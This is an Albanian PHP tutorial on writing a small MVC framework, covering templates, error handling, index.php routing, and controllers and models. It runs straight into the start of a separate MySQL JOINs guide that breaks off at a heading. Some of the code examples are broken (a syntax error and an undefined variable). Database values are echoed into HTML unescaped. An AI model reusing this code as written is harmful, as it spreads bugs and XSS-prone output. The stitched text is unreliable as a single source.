Klasa e shablloneve që unë kam bërë është fare minimaliste sepse niveli abstrakt është shumë i vogël. Jam mjaftuar me disa instruksione të thjeshta që janë tipike të përdoren dhe kaq. Sigurisht, disa shtime nuk i bëjnë keq, por gjithmonë duke e mbajtur në thjeshtësinë aktuale.

Direktoria e dedikuar shablloneve është “app/views/“. Aty mund të krijohen skedarë HTML (.html, .htm, .tpl apo çfarëdo) dhe brenda tyre mund të shkruhet direkt kod HTML, si në një faqe normale. I vetmi ndryshim është se brenda kodit HTML mund të përdoren disa instruksione të veçanta. Aktualisht, klasa e Shablloneve përpunon tre tipe instruksionesh:

1. Pseudo-Variabla – Shkruhen midis kllapave gjarpëruese në formën: {variabla} dhe përdoren në Kontrollues për ti zëvendësuar me tekstin e duhur.
2. Pseudo-Konstante – Njësoj me pseudo-variablat, por vlera e tyre është e paracaktuar. Psh, unë kam përdorur një pseudo-konstante {PATH} që vendos URL-në e aplikacionit.
3. Includes – Funksion që përfshin shabllone të tjera brenda atij aktual. Shkruhet në formën: {include=skedari.html}

Me këto që ofrohen, mund të kodohet shumë mirë një design i plotë. Sigurisht, nuk ofrohet fleksibiliteti i disa Templates Engine të famshme, por pse duhet? Po ju tregoj një shembull të thjeshtë si duket një skedar shabllon.

<html>
<head>
<title>{titulli_faqes}</title>
<link rel="stylesheet" type="text/css" media="screen" href="{PATH}app/assets/styles.css" />
</head>
 
<body>
<h1>{titulli}</h1>
 
{trupi}
 
{include=fotot.html}
</body>
</html>

Me një dokument shabllon të ndërtuar, klasa e Shablloneve do bëjë punën e saj. Fillimisht merr skedarët e duhur HTML të shablloneve, ja lexon përmbajtjen dhe bën zëvendësimet e duhura për pseudo-variablat, pseudo-konstantet dhe includes. Në fund, kur Kontrolluesi e përcakton, e printon përmbajtjen në ekran si HTML. Kodi i prodhuar është HTML e pastër.

Si mund të përmirësohet klasa e Shablloneve? Gjëja kryesore për tu bërë është caching, sidomos nëse pretendohet të punohet në aplikacione me trafik. Mund të bëni një sistem që e ruan përmbajtjen e përpunuar të shablloneve në një skedar të caktuar (/cache/) vetëm një herë dhe më pas serviret ai skedar i gatshëm, pa kryer proçese të tjera. Mund ta lini dinamike kohën që një skedar duhet të kalojë në cache për tu konsideruar i vjetër, në mënyrë që të përcaktohen kohë të shkurtra për faqe që ndryshojnë shpesh dhe kohë të gjata për ato që ndryshojnë rrallë. Është e sigurtë që caching e ndihmon serverin duke ulur proçesimet dhe vizitorin me shpejtësi hapjeje. Gjithashtu, mund ta përmirësoni sistemin duke shtuar pak elementë të përdorshëm si kushte: if(@a is 2) apo lak: for(@a in @b). Këto të fundit janë më të vështira të kodohen se të thuhen, duke marrë parasysh që kushtet apo laket mund të jenë në disa nivele brenda njëri tjetrin. Por, me njohuritë që morrët më sipër, sidomos me proçesimin e {include}, jam i sigurt që mund ta realizoni lehtë.

Kodi i klasës së Shablloneve:

<?php
class Template {
 
	/*
		Variabla qe do te mbaje te gjithe html-ne qe klasa e shablloneve
		do te perpunoje dhe do te ktheje ne fund.
	*/
	private $output = '';
 
	/*
		Funksion per te ngarkuar skedaret e shablloneve. Logjika ketu eshte
		e ngjashme me metodat load() dhe store() te klases Loader, ku funksioni
		i merr ne menyre dinamike parametrat. func_numer_args() kthen numrin e
		parametrave, ndersa func_get_args() kthen nje vektor me te gjithe parametrat.
		Nje shembull perdorimi:
 
		$tpl->loadFiles('header', 'footer');
		$tpl->loadFiles('body');
	*/
	public function	loadFiles () {
		if (func_num_args()) {
			$files = func_get_args();
 
			/*
				Kam bere nje lak ne te gjithe parametrat
			*/
			foreach ($files as $file) {
				/*
					Percaktoj direktorine ku ndodhen skedaret HTML te shablloneve.
					Gjithmone jane relative ndaj index.php qe ndodhet ne root.
				*/
				$file = "app/views/$file.html";
				/*
					Nese skedari egziston, e marr permbajtjen e tij me file_get_contents().
					Kthimi nga ky i fundit eshte tekst i thjeshte.
				*/
				if (file_exists($file)) {
					$this->output .= file_get_contents($file);	
				}
			}
		}
	}
 
	/*
		Funksioni qe zevendeson pseudo-kodet e shablloneve me tekstin e vertete.
 
		Parametrin $codes te funksionit e kam detyruar te jete vektor duke i shtuar
		fjalen kyce "array" perpara. Kjo quhet Type Hinting dhe eshte i disponueshem
		ne PHP qe nga versioni 5.1.
	*/
	public function parse (array $codes) {
		/*
			Therras funksionin parseIncludes(). Shpjegohet me poshte.
		*/
		$this->parseIncludes();
 
		/*
			Zevendesoj pseudo-konstanten {PATH} me konstantet PATH (e deklaruar ne config.php).
			{PATH} e kam perdorur neper shabllone per ti bere lidhjet absolute, qe te mos kisha
			probleme me perfshirjen e aseteve (css apo cfaredo tjeter) dhe ndertimin e lidhjeve.
		*/
		$this->output = str_replace('{PATH}', PATH, $this->output);
 
		/*
			Bej nje lak ne te gjithe elementet e vektorit. Pritet qe formati te jete nje
			vektor ku pseudo-kodi eshte celesi dhe teksti qe do te zevendesohet vlera.
 
			array('pseudo-kodi1'=>'teksti1', 'pseudo-kodi2=>'teksti2');
		*/
		foreach ($codes as $find=>$replace) {
			/*
				Nje regular expression per te kontrolluar nese pseudo-kodi i dhene egziston
				ne shabllon. Nese po, vazhdon zevendesimi me str_replace().
			*/
			if (preg_match("|{$find}|", $this->output)) {
				$this->output = str_replace('{' . $find . '}', $replace, $this->output);
			}
		}
	}
 
	/*
		Funksion qe ve ne pune funksionalitetin e pseudo-kodeve {include}. Funksionon
		egzaktesisht si nje include() ne PHP, ku permbajtja e skedarit te bere include
		perfshihet brenda skedarit meme.
	*/
	private function parseIncludes () {
		/*
			Nje regular expression qe kontrollon per sintaksen e include-eve: {include=skedari.html}.
			preg_match_all(), ndryshe nga preg_match(), kthen te gjitha instancat e gjetura dhe i
			vendos ne vektorin $matches. Formati i kthyer eshte pak jo intuitiv ne pamje te pare, por
			ka sens ne perdorim. Nese do kisha nje skedar qe ben include 2 skedare: header.html dhe
			footer.html, $matches do kishte egzaktesisht kete pamje:
 
			array (
					[0] => array ([0] => '{include=header.html}', [1] => '{include=footer.html}'),
					[1] => array ([0] => 'header.html', [1] => 'footer.html')
				  )
 
			Si c'e shini, krijohet nje vektor multi-dimension: 2 vektore brenda 1 vektori tjeter.
			Vektori i pare mban pjeset e plota qe pershtaten sipas sintakses se regular expression. 
			Vektori i dyte mban vetem pjeset dinamike qe kam percaktuar ne regular expression. Eshte
			pikerisht pjesa: (.+) qe do te thote "cdo karakter, 1 ose me shume here".
		*/
		if (preg_match_all('|{include=(.+)}|i', $this->output, $matches)) {
			/*
				$finds eshte vektori i pare, pra pjeset e plota te gjetura. Ndersa $files eshte vektori
				i dyte, pra emrat e skedareve.
			*/
			$finds = $matches[0];
			$files = $matches[1];
 
			/*
				Nje vektor bosh ku do te ruhen permbajtjet e skedareve qe do te behen include.
			*/
			$replaces = array();
 
			/*
				Nje lak ne vektorin $finds ku do te perdor edhe celesat, edhe vlerat.
			*/
			foreach ($finds as $key=>$val) {
				/*
					Ndertoj adresen e skedarit qe do te behet include. Kam perdorur celesin
					$key ne kete rresht per tu referencuar skedarit te duhur. Vektoret $finds
					dhe $files kane renditje te njejte dhe si rrjedhim, edhe celesa te njejte.
				*/
				$file = 'app/views/' . $files[$key];
 
				/*
					Kontrolloj nese skedari egziston. Nese po, permbajta e tij futet ne vektorin
					$replaces si nje element i ri vektori. Nese jo, e fshi elementin ne vektorin
					$finds, qe ne fund te me perputhen ne numer elementet e $finds me $replaces.
				*/
				if (file_exists($file)) {
					$replaces[] = file_get_contents($file);
				} else {
					unset($finds[$key]);
				}
			}
 
			/*
				Nje zevendesim i thjeshte me str_replace(). Ky i fundit mund ti marre parametrat
				edhe si vektore; mjafton qe te jene te njejte ne numer.
			*/
			$this->output = str_replace($finds, $replaces, $this->output);
		}
	}
 
 
	/*
		Nje funksion nderfaqes per te kthyer output-in e faqes. Supozohet te therritet
		ne fund te veprimeve, pasi jane therritur loadFiles() dhe parse().
	*/
	public function output () {
		return $this->output;	
	}
 
}
?>

Funksioni për Kapjen e Gabimeve

Nuk ka asgjë të veçantë këtu, sepse i gjithë kodi është tipik dhe në fakt do të gjeni një version shumë të ngjashëm në manualin e PHP-së. Ajo që kam bërë është përcaktimi i një funksioni që gjeneron disa nivele të ndryshme gabimesh dhe çfarë informacioni do të shfaqë. Nëse është i tipit FATAL, do përfundojë egzekutimin. Nëse është i tipeve ERROR apo WARNING, do gjenerojë gabimet por do e lërë aplikacionin të mbarojë egzekutimin. Gjithashtu kam shtuar një konstante DEGUB që vendos nivelin e raportimit të gabimeve: 0 (e çaktivizuar) nxjerr një mesazh të shkurtër, ndërsa 1 (e aktivizuar) nxjerr një mesazh të detajuar. Ajo që kam shtuar në këtë funksion është shfaqja e rreshtit ku ka ndodhur gabimi; me siguri nuk funksionon gjithmonë si ç’duhet, por mu duk një prekje e këndshme.

Mjafton që ky funksion të vendoset si parameter i funksionit PHP set_error_handler(), dhe sa herë thërritet trigger_error(), në të vërtetë thërritet funksioni jonë. Kaq!

Këtu ka shumë vend për tu përmirësuar. PHP ofron Exceptions, që janë një mënyrë shumë me e mirë për të kapur dhe raportuar gabime. Më e bukura është se vjen në formë objekti dhe mund të zgjerohet sipas kërkesave specifike.

Kodi i funksionit të Gabimeve:

<?php
/*
	Funksion per te krijuar mesazhe te personalizuar gabimi kur therritet me trigger_error().
	Vendoset ne index.php permes set_error_handler()
*/
function ErrorHandler ($code, $string, $file, $line) {
 
	/*
		Kontrollon nese kodi i gabimit egziston ne nivelin e error_reporting. PHP perdor nje sistem
		bitesh per te vendosur nivelin e raportimit te gabimeve dhe ne kete rast, perdora operatorin
		Bitwise AND per te kontrolluar nese vlera binare e kodit permbahet ne vleren binare te error_reporting.
		Nese jo, funksioni perfundon sepse nuk ka cfare te ktheje.
	*/
	if (!(error_reporting() & $code)) {
		return;
	}
 
	/*
		Lexon skedarin ku ka ndodhur gabimi (kthehet nga PHP permes parametrit $file) me file(). Rezultati
		eshte nje vektor qe permban cdo rresht ne nje element. Marr rreshtin e gabimit (e kthyer nga $line)
		dhe 1 rresht perpara dhe 1 rresht pas tij. Ne fund, pastroj me trim() rreshtat e ri. PHP_EOL eshte nje
		konstante e PHP qe kthen versionin e duhur te rreshtit te ri (\r\n => Win, \r => OSX, \n => Unix).
 
		Nese konstantja DEBUG eshte 0, ky bllok nuk konsiderohet per te mos kryer veprime shtese.
	*/
	if (DEBUG) {
		$file_lines = file($file);
		$error_line = $file_lines[$line - 2] . '<div style="background:#f0c0c0; color:#853f3f;">' . $file_lines[$line - 1] . '</div>' . $file_lines[$line];
		$error_line = trim($error_line, PHP_EOL);
	}
 
	/*
		Kontrollohen 3 tipet e konstanteve te gabimeve: FATAL, ERROR, WARNING. Nese DEBUG eshte 0, printoj
		nje mesazh te thjeshte; ne te kundert printoj nje mesazh me te detajuar. Vetem per tipin e gabimit
		FATAL e kam detyruar te mbyllet egzekutimi i aplikacionit (me exit;) sepse supozohet te jete gabim
		i rendesishem.
	*/
	switch ($code) {
		case FATAL:
			switch (DEBUG) {
				case 0:
					echo 'Ndodhi nje gabim. Ju lutemi te provoni me vone.';
					exit;
				case 1:
					echo "<b>Fatal Error</b> in [$file] at Line $line
 
";
					echo "<div style='background:#f0dddd; border:1px solid #cf9898; color:#c58080; padding:15px;'>$error_line</div>
";
					echo "<div style='background:#e6edf3; border:1px solid #a2bcd2; color:#7691a9; padding:15px;'>$string</div>";
					exit;
			}
		case ERROR:
			switch (DEBUG) {
				case 0:
					echo 'Ndodhi nje gabim. Ju lutemi te provoni me vone.';
					break;
				case 1:
					echo "<b>Fatal Error</b> in [$file] at Line $line
 
";
					echo "<div style='background:#f0dddd; border:1px solid #cf9898; color:#c58080; padding:15px;'>$error_line</div>
";
					echo "<div style='background:#e6edf3; border:1px solid #a2bcd2; color:#7691a9; padding:15px;'>$string</div>";
					break;
			}
			break;
		case WARNING:
			switch (DEBUG) {
				case 0:
					echo 'Ndodhi nje gabim i vogel, por aplikacioni do te vazhdoje te egzekutohet.';
					break;
				case 1:
					echo "<b>Fatal Error</b> in [$file] at Line $line
 
";
					echo "<div style='background:#f0dddd; border:1px solid #cf9898; color:#c58080; padding:15px;'>$error_line</div>
";
					echo "<div style='background:#e6edf3; border:1px solid #a2bcd2; color:#7691a9; padding:15px;'>$string</div>";
					break;
			}
	}
 
	return true;
}

Nisja e veprimeve në index.php

Skedari index.php vë motorin në lëvizje dhe relativisht me të funksionon i gjithë sistemi. E vutë re që URL-të ishin të ndërtuara në formën: index.php/kontrolluesi/metoda/, por me .htaccess e kisha hequr pjesën “index.php” për ti bërë URL-të më të bukura. Një sistem i tillë më lejon që logjikën dhe prezantimin ta kem të ndarë, por as ta vras mendjen për përfshirjen e skedarëve, deklarimin e klasave, router-in, etj. Këto i bën të gjitha index.php dhe mua më mjafton të merrem me faqet e ndryshme dhe kodin ne Kontrollues.

Në index.php kam bërë të gjitha veprimet që do të përdoren në rend global nëpër Librari. Kam bërë include() skedarët e konfigurimit dhe funksionin e kapjes së gabimeve, kam shkruar një funksion __autoload() që bën include() automatikisht klasat, kam ngarkuar përmes Loader-it objektet që do të më duhen dhe kam nisur Router-in. E thjeshtë dhe praktike!

Kodi në index.php

<?php
session_start();
 
/*
	Perfshij funksionin e gabimeve (error.php) dhe konfigurimin (config.php)
*/
require_once(__DIR__ . '/core/error.php');
require_once(__DIR__ . '/config.php');
 
/*
	__autoload() egzekutohet si tentativa e fundit per te perfshire skedaret e duhur
	te nje klase. Eshte nje menyre e mire per te bere include/require skedaret e klasave
	dhe per te hequr punen e bezdisshme (dhe te pamundur ne shume raste) te perfshirjes
	manuale te klasave. Parametri $class eshte emri i klases qe po tentohet te therritet
	nga aplikacioni. 
*/
function __autoload($class) {
	/*
		Blloku i pare i if() egzekutohet nese emri i klases ka fjalen "controller" brenda; qe
		do te thote se po tentohet te niset nje Kontrollues (emrat e klasave te te cileve
		fillojne gjithmone me Controller_). Nese ai eshte rasti, percaktoj direktorine
		e duhur ku ndodhen Kontrolluesit (/app/controller/). Konkretisht:
 
		Nese po therritet Kontrolluesi: "Controller_Perdoruesit", veprimet qe behen
		me poshte jane:
 
		strtolower() => "controller_perdoruesit"
		str_replace() => "controller/perdoruesit"
		adresa e plote => __DIR__ . '/app/controller/perdoruesit.php"
 
		Nese emri i klases nuk permban "controller", kalohet ne bllokun e dyte ku tentohet
		te perfshihet nje klase nga ato baze (core).
 
		__DIR__ eshte nje konstante qe kthen direktorine fizike te aplikacionit.
 
		**Shenim: Qe nga PHP 5.3, funksioni __autoload() dekurajohet ne favor te nje implementimi
		me te mire me sp_autoload_register(). Ne te ardhmen, __autoload() mund te behet deprecated.
	*/
	if (stristr($class, 'controller')) {
		$file = __DIR__ . '/app/' . str_replace('_', '/', strtolower($class)) . '.php';
	} else {
		$file = __DIR__ . '/core/' . strtolower($class) . '.php';
	}
 
	/*
		Nese skedari nuk egziston, gjenerohet nje gabim.
	*/
	if (!file_exists($file)) {
		trigger_error("Klasa $file nuk u ngarkua sepse skedari perkates nuk egziston.", FATAL);	
	}
 
	/*
		Perfshihet skedari.
	*/
    require_once($file);
}
 
/*
	set_error_handler() vendos funksionin baze per gabimet, qe kthehet nga trigger_error().
*/
set_error_handler('ErrorHandler');
 
/*
	Ruaj ne Loader klasat qe do te me duhen te perdor neper aplikacion.
*/
Loader::store('db', 'router', 'template');
 
/*
	Ngarkoj objektin e Router.
*/
$router = Loader::load('router');
 
/*
	Kontrolloj nese metoda findRoute() kthen nje nje url. Nese jo (blloku i pare), egzekutoj
	loadMainController(), metode pergjegjese per Kontrolluesin kryesore (index). Nese kthehet
	nje url (blloku i dyte), therras loadController() per te ngarkuar Kontrolluesin e duhur.
*/
if (!$router->findRoute()) {
	$router->loadMainController();
} else {
	$router->loadController();	
}
?>

Controllers dhe Views

Gjatë guidës ju a kam shpjeguar se si funksionojnë Controllers dhe Views. Megjithatë, po bëj një përmbledhje të shkurtër për të sqaruar ato që mund të mos keni kuptuar, sidomos tani që e keni parë se si sistemi funksionon.

Controllers janë klasa që ruhen në direktorinë “app/controller/“. Emri i klasës fillon gjithmonë me “Controller_” dhe pjesa e dytë duhet të përputhet me emrin e skedarit që Router-i ta njohë. Psh, një Controller me emrin “Controller_Perdoruesit“, duhet që emrin e skedarit ta kete “perdoruesit.php” që të egzekutohet kur në URL vendoset “index.php/perdoruesit/“. Krahas nomeklaturës, çdo Controller duhet të ketë patjetër një metodë të quajtur home(), e cila egzekutohet nëse nuk është përcaktuar një parametër i dytë në URL. Nëse është përcaktuar, psh: “index.php/perdoruesit/shfaq/“, automatikisht Router-i kontrollon për një metodë të quajtur shfaq() në Controller-in “Controller_Perdoruesit“.

Views janë skedarë HTML që ruajnë paraqitjen e aplikacionit dhe vendosen në direktorinë “app/views/“. Brenda mund të shkruhen pseudo-variabla të cilat zëvendësohen përmes klasës së Shablloneve me tekstet e përcaktuara. Skedarët CSS, Javascript, Imazhet apo resurse të tjera që do të përdoren në shabllone, ruhen në direktorinë “app/assets/“. Në këtë formë janë të ndara midis tyre asetet nga skedarët HTML.

Shkarkoni Kodin

Për të parë se si i gjithë sistemi vihet në punë dhe disa shembuj konkretë të përdorimit të Controllers dhe Views, shkarkoni kodin në fillim të guidës. Pavarësisht se tashmë duhet ta keni krijuar mirë idene se si klasat e ndryshme funksionojnë dhe si lidhen me njëra tjetrën, shembujt konkretë duhet t’ja u sqarojnë mirë idetë.

Si mund ta përmirësoni sistemin?

Në çdo seksion ju tregova si të përmirësoni klasat e veçanta, për ti bërë më të fuqishme dhe me më tepër opsione. Megjithatë, një Librari ka plot për të shtuar.

Kryesorja do të ishin shtime ndaj klasave bazë që kryejnë funksione të përdorura shpesh. Mund të jenë klasa për: gjenerimin e formave, manipulim imazhesh, krijimin e faqeve (pagination), siguri, unit testing, etj. Të gjitha janë proçese ripetitive që të marrin kohë nëse i shkruan nga fillimi në çdo projekt, apo i kalon nga një projekt tek tjetri. Gjithashtu mund të shtohen ndihmësa që ju ndihmojnë si: dërgim email-esh, përpunimin e URL-ve, shkrimin e HTML-së, shkarkim, gjenerim/konvertim datash, etj. Kam shkruar një guidë këtu në Feniksi ku kam dhënë 3 ndihmësa të thjeshtë: Klasa Ndihmëse në PHP. PHP është pak e çuditshme për nga zgjedhja e emrave të funksioneve dhe vendosjes së parametrave të tyre. Në fund, do keni një Librari të kompletuar me klasat bazë dhe ndihmësat që përdorni më tepër.

Një shtim i mirë do të ishte një klasë abstrakte për Kontrolluesit që luan rolin e një ndërfaqeje, por edhe për të kryer veprime që të jenë të aksesueshmë nga të gjithë Kontrolluesit e tjerë. Një nga këto është edhe ngarkimi i objekteve (përmes Loader-it) në një vektor të klasës abstrakte, që të përdoret lehtësisht nga të gjitha metodat e Kontrolluesëve që zgjerojnë atë.

Shikoni kodin aktual të një Kontrolluesi në formën që e kam shkruar tani. Jam detyruar të thërras çdo objekt përmes Loader-it manualisht sa herë që me duhen dhe maksimumi që mund të bëj me këtë sistem, është të krijoj një vektor për çdo klasë që mban objektet.

<?php
class Controller_Celularet {
 
	public function home () {
		$tpl = Loader::load('template');
		$db = Loader::load('db');	
 
		$query = $db->query("SELECT * FROM framework_celularet ORDER BY marka");
		foreach ($query->results() as $row) {
			$phones .= '<a href="shfaq/' . $row['id'] . '/"><b>' . $row['marka'] . '</b> - ' . $row['modeli'] . '</a> (' . $row['vlera'] . '$)<br />';	
		}
 
		$tpl->loadFiles('celularet');
		$tpl->parse(array(
			'site_title' => 'Feniksi Framework - Lista e Celulareve',
			'title' => 'Lista e Celulareve',
			'celularet' => stripslashes($phones);
		));
		echo $tpl->output();
	}
 
}
?>

Nuk është edhe aq praktike, apo jo? Duke realizuar sugjerimin që ju dhashë më sipër, të gjithë pjesën e ngarkimit të objekteve mund t’ja lëmë në përgjegjësi një klase “Controller” që të gjithë Kontrolluesit janë të detyruar ta shtojnë. Shikoni si duket shembulli më poshtë.

<?php
abstract class Controller {
 
	protected $db;
	protected $tpl;
 
	public function __construct () {
		$this->db = Loader::load('db');
		$this->tpl = Loader::load('template');
	}
 
	abstract protected function home ();
 
}
 
class Controller_Celularet extends Controller {
 
	public function home () {
		$query = $this->db->query("SELECT * FROM celularet ORDER BY marka");
		foreach ($query->results() as $row) {
			$phones .= '<a href="shfaq/' . $row['id'] . '/"><b>' . $row['marka'] . '</b> - ' . $row['modeli'] . '</a> (' . $row['vlera'] . '$)<br />';	
		}
 
		$this->tpl->loadFiles('celularet');
		$this->tpl->parse(array(
			'site_title' => 'Feniksi Framework - Lista e Celulareve',
			'title' => 'Lista e Celulareve',
			'celularet' => stripslashes($phones)
		));
		echo $this->tpl->output();
	}
 
}
?>

Si ç’e shihni, klasa abstrakte “Controller” merr vlerën e objekteve që në __construct() – pra në momentin e krijimit – dhe i kalon në variablat e klasës. Në këtë formë, Kontrolluesit që shtojnë klasën “Controller”, kanë akses direkt tek variablat e tij dhe mund ti përdorin ato objekte pa pasur nevojën ti deklarojnë sërish. Gjithashtu, kam shkruar edhe një metodë abstrakte home() për të imponuar Kontrolluesit ta kenë atë metodë. Ky sistem sigurisht është më logjik dhe pikërisht për këtë arsye ja u tregova. Sistemi aktual nuk përdor këtë mënyrë, thjeshtë për t’ju lënë të eksperimentoni me mënyrat që ju duken më interesante.

Nëse e shihni të nevojshme, mund ti shtoni Modele Librarisë, për të ndarë logjikën nga të dhënat. Nuk do ju merrte shumë kohë sepse Modelet thërriten nga Kontrolluesit dhe mjafton një klasë e ngjashme me Loader-in apo një metodë brenda Loader-it, që specializohet në thërritjen e modeleve. Ashtu si sugjerimi për Kontrolluesit, edhe Modelet mund të kenë një klasë abstrakte që përcakton vlera apo metoda të detyrueshme.

Më poshtë kam shkruar një Model shumë të thjeshtë i cili do të përdoret në një nga Kontrolluesit shembull. Vlen vetëm për t’ju dhënë idenë.

<?php
abstract class Models {
 
	protected $db;
 
	public function __construct () {
		$this->db = Loader::load('db');
	}
 
}
 
class Model_Celularet extends Models {
 
	public function listaCelulareve () {
		$query = $this->db->query("SELECT * FROM celularet ORDER BY marka");
		return $query->results();	
	}
 
}

Si ç’e shihni, edhe këtu kam krijuar një klasë abstrakte që merr objektin e databazës dhe ja servir të gjithë modeleve të tjerë përmes variablës $db. Klasa “Model_Celularet” zgjeron klasën abstrakte dhe mban vetëm një metodë për të shfaqur listën e celularëve. Kaq supozohet të bëjë një Model: të mbajë metoda për marrjen e të dhënave nga databaza dhe t’ja dërgojë ato Kontrolluesëve. E gjithë ideja është që të ndahen klasat që marrin të dhëna (Modelet) dhe klasat që përpunojnë të dhëna (Kontrolluesit).

Tani po ju tregoj një shembull përsëri të thjeshtë të përdorimit të Modelit të mësipërm në një Kontrollues. Teknika nuk është e përsosur sepse Loader::load(‘modeli’) nuk specializohet në ngarkimin e Modeleve. Mbani mend që Loader-i fillimisht duhet ti ruajë objektet e më pas ti servirë? Kjo s’është optimale për Modelet sepse do na duhej ti ruanim në Loader (përmes metodës store) para se ti përdorim. Megjithatë, mund të shtohet lehtë një metodë (psh: Loader::loadModel()) e specializuar për ngarkimin e Modeleve.

<?php
class Controller_Celularet {
 
	public function home () {
		$model = Loader::load('Model_Celularet');
 
		$results = $model->listaCelulareve();
		foreach ($results as $row) {
			$phones .= '<a href="shfaq/' . $row['id'] . '/"><b>' . $row['marka'] . '</b> - ' . $row['modeli'] . '</a> (' . $row['vlera'] . '$)<br />';	
		}
 
		$tpl->loadFiles('celularet');
		$tpl->parse(array(
			'site_title' => 'Feniksi Framework - Lista e Celulareve',
			'title' => 'Lista e Celulareve',
			'celularet' => stripslashes($phones)
		));
		echo $tpl->output();
	}
 
}

Mbani mend që sa më tepër zgjerohet Libraria, aq më e ngarkuar dhe e vështirë bëhet për tu mirëmbajtur. Nëse shtoni klasa dhe ndihmësa pa fund, edhe nga ato që s’keni për ti përdorur kurrë, nuk do bëni asgjë më shumë se të kodini një Librari që i ngjan atyre të gatshme. Qëllimi është të jetë e përdorshme, jo një monolith kodi.

Përfundimi

I erdhi fundi kësaj guide të gjatë, por kjo s’do të thotë se i erdhi fundi Librarisë. Nëse keni interes, qoftë për të mësuar apo për ta përdorur për qëllimet tuaja, ju këshilloj seriozisht ta modifikoni në pafundësi. Mënyra më e mirë për të mësuar është praktika dhe kjo guidë këtë tenton të bëjë.

E gjithë Libraria, së bashku me kodin që kam shkruajtur në Controllers dhe Views, ka 777 rreshta. Duket sikur e kam bërë me qëllim! Në krahasim me 200.000+ apo 700.000+ që kanë Libraritë masive, duket si Librari lodër. Edhe nëse i shtoni funksionalitete të tjera, përfshi përmirësimet në klasa, klasa të tjera bazë dhe ndihmësa, e sigurtë është që do jetë sërisht nën 10.000 rreshta. Përfitoni një Librari të vogël, të lehtë për nga resurset dhe që e bën punën shumë mirë. Mbi të gjitha, sistemin e keni koduar vetë, e njihni shumë mirë dhe gjatë proçesit keni mësuar shumë. Vetëm kjo e fundit është një arsye e mirë për ta marrë këtë iniciativë.

Mësim të mbarë.

Në ndryshim nga guidat e mëparshme të emëruara “Bazat e MySQL me PHP”, kjo guidë dhe ato në vazhdim do të quhen thjeshtë “Bazat e MySQL”. Mësimet e para besoj ishin të mjaftueshme për t’ju treguar çfarë funksionesh përdoren në PHP për të bërë query dhe për të shfaqur rezultatet. Që tani, do ilustroj vetëm kodet SQL.

Në këtë pjesë të tretë të serisë së guidave për MySQL do t’ju shpjegoj një nga konceptet më të vështirë, por njëkohësisht edhe më të domosdoshëm. Bëhet fjalë për bashkimin e tabelave dhe nxjerrjen e të dhënave njëkohësisht nga dy ose më shumë. Praktikisht, çdo tabelë që ka një lidhje me tabela të tjera mund të bashkohet me to në bazë të kushteve të caktuara. Përdorimi është shumë i gjerë dhe ju siguroj që do e kuptoni vlefshmërinë e tyre gjatë guidës. Mos u trembni gjithashtu nga vështirësia, sepse fundja jemi përsëri në mjedis MySQL dhe kompleksiteti i funksioneve është relativ. Thjeshtë tentoni ta ndiqni me kujdes guidën dhe mundësisht të kryeni teste paralele me ato që unë do demonstroj.

Çfarë janë dhe pse na duhen JOINs

Si ç’e përmenda pak më sipër, tabelat mund të bashkohen në momentin që kanë lidhje me njëra tjetrën. Lidhja mund të jetë çfarëdo, edhe një tekst “abc” që gjendet në të dyja tabelat. Në këtë rast, do thuhej që tabelat priten sipas një teksti arbitrar “abc”. Megjithatë, logjika normale për të bashkuar tabela është përmes çelësave. Një tabelë ka një FOREIGN KEY që referencon PRIMARY KEY të një tabele tjetër dhe prerja do krijohej pikërisht midis këtyre dy çelësave. Duke përdorur çelësa, jo vetëm që krijojmë një lidhje relacionale (fundja, SQL bazohet mbi lidhjet relacionale) dhe logjike midis tabelave, por gjithashtu shpejtojmë proçeset sepse motori i brendshëm i MySQL e di çfarë kërkon.

Dakort, tani e dini teorikisht çfarë janë bashkimet e tabelave. Por ku përdoren?! Kudo dhe gjithmonë! Vështirë se ka aplikacione me bazë të dhënash, qoftë edhe fare të vegjël, që nuk përdorin JOINs. Në momentin që në databazë ndodhet më shumë se një tabelë dhe është bërë normalizimi midis tyre, JOIN do hyjë në punë në një moment apo tjetrin. Megjithatë, edhe nëse nuk e keni krijuar idenë praktike se ku mund të përdoren, shembujt në vazhdim do e qartësojnë.

Bashkimet vijnë me disa shije të ndryshme për të kryer veprime që në thelb janë shumë të ngjashme. Do ju shpjegoj në hollësi se çfarë bën secili tip bashkimi dhe do e shoqëroj me shembuj praktikë.

Tabelat për të Kryer Shembujt

Kam krijuar dy tabela fare të thjeshta për të ilustruar shembujt. Të dyja tabelat kanë një pikë prerjeje që do më japë mundësinë të bëj bashkime. Shikoni si duken:

==================
Tabela "produktet"
==================
id	emri		cmimi
1	Celular		500
2	Televizor		800
3	Laptop		650
6	Kompjuter	1000

================
Tabela "blerjet"
================
id	prod_id		data
1	1		2011-09-23
2	1		2011-09-24
3	2		2011-09-22
4	3		2011-09-18
5	3		2011-09-19
6	3		2011-09-20
7	10		2011-09-22

E shihni ku prihen dy tabelat? Duhet të jetë e qartë tashmë që blerjet.prod_id referencon produktet.id. Çdo shitje që kryhet duhet të ketë ID-në e produktit, në mënyrë që të kuptohet se çfarë shitet. Në terminologji databazash, produtet.id quhet PRIMARY KEY (çelësi primar), ndërsa blerjet.prod_id quhet FOREIGN KEY (çelës i huaj). Pikërisht përmes këtyre çelësave do të bëjmë bashkimet e tabelave.

Mbani mend që në MySQL, vetëm motori i brendshëm “InnoDB” suporton përcaktimin e FOREIGN KEYS. Motori “MyISAM”, më i përdoruri në pjesën e madheve të aplikacioneve, nuk i suporton. Kjo s’do të thotë që s’mund të bëjmë JOINs! Mund të përdoren njësoj, vetëm se pa FOREIGN KEYS, MySQL nuk: 1) kontrollon nëse një çelësi egziston në tabelën referencë kur tentohet të shtohet një e dhënë dhe 2) nuk i rifreskon çelësat në rast se tabela referencë ndryshon. MyISAM dhe InnoDB kanë përdorimet e tyre. E para është më e shpejtë dhe më pak intensive në resurse, ndërsa e dyta është më e besueshme (sa i përket integritetit të të dhënave) dhe suporton transaksione. Zgjedhja varet tërësisht nga tipi i aplikacionit dhe për të mbetur në temë, s’duhet të ndodhë vetëm prej FOREIGN KEYS.

Le të eksplorojmë tipet e ndryshme të bashkimeve.

JOIN, CROSS JOIN dhe INNER JOIN

Në MySQL, JOIN, CROSS JOIN dhe INNER JOIN janë fjalë kyçe që bëjnë egzaktësisht të njëjtat veprime dhe mund të shkëmbehen me njëra tjetrën pa asnjë problem. Tipi i bashkimit ndryshon në bazë të përcaktimit ose jo të një pike të përbashkët dhe duke qenë se rezultatet janë shumë të ndryshme, do ju tregoj dy mënyrat si ndërtohet një JOIN.

Bashkimi i Kryqëzuar
